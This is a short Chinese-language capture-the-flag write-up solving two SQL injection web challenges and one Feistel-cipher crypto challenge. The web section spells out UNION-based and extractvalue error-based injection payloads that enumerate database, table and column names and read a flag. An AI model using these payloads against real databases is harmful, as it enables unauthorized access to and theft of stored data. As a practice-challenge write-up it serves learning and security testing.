web

65 从0开始之SQLI之0

首先测试了 user1' or '1'='1
得到 “5　　maybe flag is in another space”所以判断在其他表中，因此要得到所有的表名
于是将参数改为 user1' UNION select table_name+"",column_name from information_schema.columns where '1'='1
在返回的一堆表明和列明中找到了 hhhhctf　flag
最后将参数改为 'union select flag,0 from hhhhctf where '1'='1即可得到flag

66 从0开始之SQLI之1

本题是需要显错注入
首先爆库名 参数为
1 and (extractvalue(1, concat(0x7e,(SELECT database()))))
得到库名 hctfsqli2
再爆表名
1 and (extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema = 'hctfsqli2' limit 0,1))))
得到表名 hhhhctf
最后爆列名
1 and (extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_schema = 'hctfsqli2' limit 0,1))))
得到列名 flag
and (extractvalue(1, concat(0x7e,(SELECT flag FROM hhhhctf limit 0,1))))
爆出字段得到flag

crypto

53 explorer的奇怪番外3

说明中给出加密为feistel加密，查阅资料得知，feistel是一种对称加密
非常好办的是，解密即为加密的逆过程。
查看源码，发现只需要将key_schedule函数返回的subkey倒置即可
于是在return subKeys前加上subKeys.reverse()
然后需要将原本的main函数改成
print bes('explorer','\x1f\xde\x6a\x7b\x2f\xf1\x5d\x0a\xba\xd6\x91\x21\x5c\xa5\xd4\x70').decode("hex")
即可得到flag